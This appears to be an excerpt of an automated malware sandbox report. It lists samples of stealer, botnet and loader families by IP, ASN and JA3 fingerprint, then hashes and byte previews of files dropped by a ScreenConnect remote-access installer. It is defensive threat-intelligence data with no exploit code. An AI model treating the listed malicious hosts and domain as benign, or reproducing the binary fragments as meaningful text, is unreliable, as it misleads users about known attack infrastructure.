	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	172.67.177.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	172.67.177.88
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
home.fivetk5vt.top	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	176.53.146.212
	s3hvuz3XS0.exe	Get hash	malicious	Cryptbot	Browse	176.53.146.212
	65AcuGF7W7.exe	Get hash	malicious	Cryptbot	Browse	176.53.146.212
	9nYVfFos77.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	176.53.146.212
	ovQrwYAhbq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	176.53.146.212
	Sh2uIqqKqc.exe	Get hash	malicious	Cryptbot	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	176.53.146.212
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	176.53.146.212

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	arm7.nn-20241219-1505.elf	Get hash	malicious	Mirai, Okiru	Browse	3.27.107.103
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.194.184.211
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	3.196.213.227
	http://112.31.189.32:40158	Get hash	malicious	Mirai	Browse	54.171.230.55
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.33.14.230
	8N8j6QojHn.dll	Get hash	malicious	Unknown	Browse	108.157.172.115
	8N8j6QojHn.dll	Get hash	malicious	Unknown	Browse	13.227.9.48
	https://tfsroanoke.com/home/tfs/public_html/new/ckfinder/userfiles/files/12719803849.pdf	Get hash	malicious	PDFPhish	Browse	3.77.62.172
	setup.msi	Get hash	malicious	AteraAgent	Browse	108.158.75.12
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	18.180.43.133
TWC-11351-NORTHEASTUS	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	50.75.56.140
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	98.85.100.80
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	98.85.100.80
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	74.67.214.105
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	98.95.238.17
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	98.85.100.80
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.229.178.30
	SwJD3kiOwV.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	8dw8GAvqmM.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
	9nYVfFos77.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	98.85.100.80
WHOLESALECONNECTIONSNL	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	8N8j6QojHn.dll	Get hash	malicious	Unknown	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	8N8j6QojHn.dll	Get hash	malicious	Unknown	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	Non-Disclosure Agreement.html	Get hash	malicious	Unknown	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	rs.lnk.d.lnk	Get hash	malicious	Unknown	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	ny.lnk.d.lnk	Get hash	malicious	Unknown	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	hnsadjhfg18De.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
	slifdgjsidfg19.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	20.198.118.190 140.82.121.4 185.199.109.133 20.233.83.145
a0e9f5d64349fb13191bc781f81f42e1	mirabon.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.177.88 188.114.96.6
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	172.67.177.88 188.114.96.6
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	172.67.177.88 188.114.96.6
	Svcrhpjadgyclc.cmd	Get hash	malicious	DBatLoader	Browse	172.67.177.88 188.114.96.6
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.177.88 188.114.96.6
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.67.177.88 188.114.96.6
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.177.88 188.114.96.6
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.177.88 188.114.96.6
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.177.88 188.114.96.6
	niwvNnBk2p.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.177.88 188.114.96.6
37f463bf4616ecd445d4a1937da06e19	2JSGOlbNym.dll	Get hash	malicious	Unknown	Browse	94.130.191.168 149.154.167.99
	4hSuRTwnWJ.dll	Get hash	malicious	Unknown	Browse	94.130.191.168 149.154.167.99
	QCTYoyX422.dll	Get hash	malicious	Unknown	Browse	94.130.191.168 149.154.167.99
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	94.130.191.168 149.154.167.99
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	94.130.191.168 149.154.167.99
	INVOICE-0098.pdf ... .lnk.lnk.d.lnk	Get hash	malicious	Unknown	Browse	94.130.191.168 149.154.167.99
	YinLHGpoX4.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	94.130.191.168 149.154.167.99
	F8HYX5HOgA.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	94.130.191.168 149.154.167.99
	0iTxQouy7k.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	94.130.191.168 149.154.167.99
	tmkSAOF3GM.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	94.130.191.168 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, Vidar, XWorm, Xmrig	Browse
	dMDImIGmc7.exe	Get hash	malicious	ScreenConnect Tool	Browse
	dMDImIGmc7.exe	Get hash	malicious	ScreenConnect Tool	Browse
	estatement020134230003.exe.virus.exe	Get hash	malicious	ScreenConnect Tool	Browse
	estatement020134230003.exe.virus.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Support.ClientSetup.exe	Get hash	malicious	ScreenConnect Tool	Browse
	f53WqfzzNt.exe	Get hash	malicious	ScreenConnect Tool	Browse
	tiG6Ep202n.exe	Get hash	malicious	ScreenConnect Tool	Browse
	6IqUjK9Koj.exe	Get hash	malicious	ScreenConnect Tool	Browse

Created / dropped Files

C:\Config.Msi\3ca64f.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	219744
Entropy (8bit):	6.582232859197828
Encrypted:	false
SSDEEP:	3072:UG9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG3:UGuH2aCGw1ST1wQLdqv3
MD5:	DA3870902530A4B305371B1678A3E1C2
SHA1:	ECF01FCA771868842333902F1B744E16E2FED0A5
SHA-256:	DCAA4CD58B4E405890987906490E26B5A83BCF874442F39383EB96D41C1F0120
SHA-512:	9C4BF0410E24AB0B9A6484220DB40FC7F896C9017241CF6D80A0FE447F2C88ACFF6A626AF673EC9020B343F66DAAE9608D888101B8351CAB6C96F06A6E2BE215
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Config.Msi\3ca64f.rbs, Author: Joe Security
Preview:	...@IXOS.@.....@VQ.Y.@.....@.....@.....@.....@.....@......&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}'.ScreenConnect Client (98a59bd0eed9222b)..ScreenConnect.ClientSetup.msi.@.....@.....@.....@......DefaultIcon..&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.....@.....@.....@.....@.......@.....@.....@.......@....'.ScreenConnect Client (98a59bd0eed9222b)......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{F56AA437-B04A-EEB0-A497-CE4A32497BEB}&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.@......&.{D4C6373C-9B4C-38F2-E580-71E34BAC7A40}&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.@......&.{1412F331-FCBF-D8D0-4388-4373963F1E32}&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.@......&.{82DED229-22BC-DAE0-DC80-9C65B5F9B8DE}&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.@......&.{41291140-3E0E-7A80-A755-95ADFB0F2DA4}&.{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.@......&.{C404084B-B050-7A0C-6F45-B23F08F38032}&.{5EE1D23D-9DA7-E002-0FA7

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.en-US.resources

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	4.646296001566109
Encrypted:	false
SSDEEP:	12:rHy2DLI4MWonY6c/KItfU49cAjUPDLm184c7eA7d5TlO5FMDKt5cFqu+HIR:zHE4rbM2xjU7M8LD7DTlcFq0qEIR
MD5:	8B45555EF2300160892C25F453098AA4
SHA1:	0992EBA6A12F7A25C1F50566BEEB3A72D4B93461
SHA-256:	75552351B688F153370B86713C443AC7013DF3EE8FCAC004B2AB57501B89B225
SHA-512:	F99FF9A04675E11BAF1FD2343AB9CE3066BAB32E6BD18AEA9344960BF0A14AF8191DDCCA8431AD52D907BCB0CB47861FFB2CD34655F1852D51E04ED766F03505
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP....4..2...n_Q2T}........Z...5...........0A.p.p.l.i.c.a.t.i.o.n.D.i.r.e.c.t.o.r.y.N.a.m.e..... A.p.p.l.i.c.a.t.i.o.n.T.i.t.l.e.....2B.l.a.n.k.M.o.n.i.t.o.r.M.e.s.s.a.g.e.F.o.r.m.a.t.....RE.n.d.P.o.i.n.t.S.t.a.t.u.s.S.l.e.e.p.i.n.g.F.o.r.F.r.e.e.L.i.c.e.n.s.e.T.i.t.l.e.F...FS.e.s.s.i.o.n.I.n.v.a.l.i.d.S.e.s.s.i.o.n.D.e.l.e.t.e.d.M.e.s.s.a.g.e.t.....Support..Support.2Software is Updating.Do not turn off your computer.,Not enough data receiving from host computer..Removed

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.resources

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	21018
Entropy (8bit):	7.841465962209068
Encrypted:	false
SSDEEP:	384:rcoN78dB74dN78dB74dN78dB74dN78dB74dN78dB74dN78dB74dN78dB74dN78dH:P4Bsj4Bsj4Bsj4Bsj4Bsj4Bsj4Bsj4Bd
MD5:	EF6DBD4F9C3BB57F1A2C4AF2847D8C54
SHA1:	41D9329C5719467E8AE8777C2F38DE39F02F6AE4
SHA-256:	0792210DE652583423688FE6ACAE19F3381622E85992A771BF5E6C5234DBEB8E
SHA-512:	5D5D0505874DC02832C32B05F7E49EAD974464F6CB50C27CE9393A23FF965AA66971B3C0D98E2A4F28C24147FCA7A0A9BFD25909EC7D5792AD40CED7D51ED839
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP......jF.1P)..../._.ks`.k.`.k.M6pb.......'...........w.......P...1......."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.1.6.....$A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.2.5.6....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.3.2....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.4.8.....,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.B.l.a.n.k.1.6..'..(A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.M.a.c.2.2..1..0A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.O.p.a.q.u.e.1.9.2..;..,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.T.i.t.l.e.1.6..E..6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.xO.. .....PNG........IHDR...-...-.....:......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs...:...:..d.J...NIDATX...{pT.......$\..................h.m+Z.....I.R.... X.E...V+.^.......i...F.;..IDH..?.l. ..S.qxg2...}.../.y.......r1E..?.......K[...D.../L....u..n....$!R..Jh...?.dSUX...V%..Jy.-.

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.en-US.resources

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	50133
Entropy (8bit):	4.759054454534641
Encrypted:	false
SSDEEP:	1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
MD5:	D524E8E6FD04B097F0401B2B668DB303
SHA1:	9486F89CE4968E03F6DCD082AA2E4C05AEF46FCC
SHA-256:	07D04E6D5376FFC8D81AFE8132E0AA6529CCCC5EE789BEA53D56C1A2DA062BE4
SHA-512:	E5BC6B876AFFEB252B198FEB8D213359ED3247E32C1F4BFC2C5419085CF74FE7571A51CAD4EAAAB8A44F1421F7CA87AF97C9B054BDB83F5A28FA9A880D4EFDE5
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.q...'..6....wp.......y....C\|.)>..Ldt..... $...X..........1$.../...2.%%3./>>...L.y.0.C._.........1Y..Qj.o....<....=...R..;...C....&.......1p2.r.x.u?Y..R...c......X.....I.5.2q..R...>.E.pw .@ ).w.l.....S...X..'.C.I......-.Y........4.J..P<.E..=c!.@To..#.._.2.....K.!..h...z......t......^..4...D...f..Q...:..%.z.<......^.....;<...r..yC.....Q........4_.Sns..z.......=..]t...X..<....8.e`}..n....S.H[..S@?.~....,...j.2..v.......B....A...a......D..c..w..K,..t...S.....v....7.6\|..&.....r....#....G......Y...i..'.............'.......Z.....#2e..........\|....)..%....A.....4{..u;N......&q...}.tD..x.....4...J...L......5.Q..M....K..3U..M..............5...........t.>.......lYu....3TY.?...r...'.......3.m........=.H...#.o.........n.....,4.~...<h..u...i.H...V......V/...P.$%..z...

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.resources

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	26722
Entropy (8bit):	7.7401940386372345
Encrypted:	false
SSDEEP:	384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
MD5:	5CD580B22DA0C33EC6730B10A6C74932
SHA1:	0B6BDED7936178D80841B289769C6FF0C8EEAD2D
SHA-256:	DE185EE5D433E6CFBB2E5FCC903DBD60CC833A3CA5299F2862B253A41E7AA08C
SHA-512:	C2494533B26128FBF8149F7D20257D78D258ABFFB30E4E595CB9C6A742F00F1BF31B1EE202D4184661B98793B9909038CF03C04B563CE4ECA1E2EE2DEC3BF787
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP)...s^.J.....E.....(....jF.C...1P)...H..../..72J..I.J.a.K8c._.ks`.k.`.kK..m.M6p............b...P...........'...!...............K...............w.......P.......1......."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.1.6.....$A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.2.5.6....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.3.2....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.4.8.....,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.B.l.a.n.k.1.6.;...(A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.M.a.c.2.2.....0A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.O.p.a.q.u.e.1.9.2.8...,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.T.i.t.l.e.1.6.....6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.4...6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.:...DB.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.V.i.s.i.b.l.e.xb..B.l.a.n.k.M.o.n.i.t.o.r.T.e.x.t.C.o.l.o.r..b..D.a.r.k.T.h.e.m.e.B.a.r.B.a.s.e.C.o.l.o.r..b..<D.a.r.k.T.h.

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.586775768189165
Encrypted:	false
SSDEEP:	3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYF:FtNGTGySabqPJYbqSmG
MD5:	3724F06F3422F4E42B41E23ACB39B152
SHA1:	1220987627782D3C3397D4ABF01AC3777999E01C
SHA-256:	EA0A545F40FF491D02172228C1A39AE68344C4340A6094486A47BE746952E64F
SHA-512:	509D9A32179A700AD76471B4CD094B8EB6D5D4AE7AD15B20FD76C482ED6D68F44693FC36BCB3999DA9346AE9E43375CD8FE02B61EDEABE4E78C4E2E44BF71D42
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: dMDImIGmc7.exe, Detection: malicious, Browse Filename: dMDImIGmc7.exe, Detection: malicious, Browse Filename: estatement020134230003.exe.virus.exe, Detection: malicious, Browse Filename: estatement020134230003.exe.virus.exe, Detection: malicious, Browse Filename: Support.ClientSetup.exe, Detection: malicious, Browse Filename: f53WqfzzNt.exe, Detection: malicious, Browse Filename: tiG6Ep202n.exe, Detection: malicious, Browse Filename: 6IqUjK9Koj.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.................. ... ....... .......................`......#.....@.................................A...O.... ..\|....................@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc...\|.... ......................@..@.reloc.......@......................@..B................u.......H...........4............_...... .........................................(......(....^.(...........%...}....:.(......}....:.(......}....:.(......}......{....:.(......}.....0..A........(....s....%.~(...%-.&~'.....y...s....%.(...(...+(...+o"...o........0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.&...($....5..............s%....=.....0...........~...%-.&~).....\|...s&...%....(...+..~+...%-.&~).....}...s(...%.+...(...+.r9..

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.06942231395039
Encrypted:	false
SSDEEP:	1536:+A0ZscQ5V6TsQqoSD6h6+39QFVIl1zJhb8gq:p0Zy3gUOQFVQzJq
MD5:	5DB908C12D6E768081BCED0E165E36F8
SHA1:	F2D3160F15CFD0989091249A61132A369E44DEA4
SHA-256:	FD5818DCDF5FC76316B8F7F96630EC66BB1CB5B5A8127CF300E5842F2C74FFCA
SHA-512:	8400486CADB7C07C08338D8876BC14083B6F7DE8A8237F4FE866F4659139ACC0B587EB89289D281106E5BAF70187B3B5E86502A2E340113258F03994D959328D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...nu............" ..0.............. ... ...@....... ..............................p.....@.................................e ..O....@.......................`..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................. ......H........n..@...................<.........................................(....^.(...........%...}....:.(......}....:.(......}....:.(......}.....~,...%-.&~+.....i...s....%.,...(...+vs....%.}P.........s....(....*....0...........s....}.....s....}...........}.......(&.....}.....(....&.()..........s....o.....()...~-...%-.&~+.....j...s....%.-...o ....s!...}.....s"...}.....s#...}...... .... 0u.........s....s=...}....... ..6........s....s=...}.....('...($............o%........

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95512
Entropy (8bit):	6.504684691533346
Encrypted:	false
SSDEEP:	1536:Eg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkggU0HMx790K:dhbNDxZGXfdHrX7rAc6myJkggU0HqB
MD5:	75B21D04C69128A7230A0998086B61AA
SHA1:	244BD68A722CFE41D1F515F5E40C3742BE2B3D1D
SHA-256:	F1B5C000794F046259121C63ED37F9EFF0CFE1258588ECA6FD85E16D3922767E
SHA-512:	8D51B2CD5F21C211EB8FEA4B69DC9F91DFFA7BB004D9780C701DE35EAC616E02CA30EF3882D73412F7EAB1211C5AA908338F3FA10FDF05B110F62B8ECD9D24C2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.................................>)....@.................................p...x....`..P............L...)...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...P....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.034211651049746
Encrypted:	false
SSDEEP:	12288:xC2YKhQCNc6kVTplfWL/YTHUYCBdySISYz:HhE6O7WL/EC
MD5:	14E7489FFEBBB5A2EA500F796D881AD9
SHA1:	0323EE0E1FAA4AA0E33FB6C6147290AA71637EBD
SHA-256:	A2E9752DE49D18E885CBD61B29905983D44B4BC0379A244BFABDAA3188C01F0A
SHA-512:	2110113240B7D803D8271139E0A2439DBC86AE8719ECD8B132BBDA2520F22DC3F169598C8E966AC9C0A40E617219CB8FE8AAC674904F6A1AE92D4AC1E20627CD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............." ..0..X...........s... ........... ..............................].....@.................................as..O.......t............................r..8............................................ ............... ..H............text....W... ...X.................. ..`.rsrc...t............Z..............@..@.reloc...............^..............@..B.................s......H........C..,/..................Dr........................................{:.....{;...V.(<.....}:.....};......0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...... ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D.....{E.....{F...V.(<.....}E.....}F....0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...... F.b# )UU.

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639085961200334
Encrypted:	false
SSDEEP:	24576:dx5xeYkYFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:dx5xTkYJkGYYpT0+TFiH7efP
MD5:	9AD3964BA3AD24C42C567E47F88C82B2
SHA1:	6B4B581FC4E3ECB91B24EC601DAA0594106BCC5D
SHA-256:	84A09ED81AFC5FF9A17F81763C044C82A2D9E26F852DE528112153EE9AB041D0
SHA-512:	CE557A89C0FE6DE59046116C1E262A36BBC3D561A91E44DCDA022BEF72CB75742C8B01BEDCC5B9B999E07D8DE1F94C665DD85D277E981B27B6BFEBEAF9E58097
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...y............." ..0..>..........~]... ...`....... ..............................8.....@.................................+]..O....`..\|............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc...\|....`.......@..............@..@.reloc...............D..............@..B................_]......H.......t...d..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsAuthenticationPackage.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	260168
Entropy (8bit):	6.416438906122177
Encrypted:	false
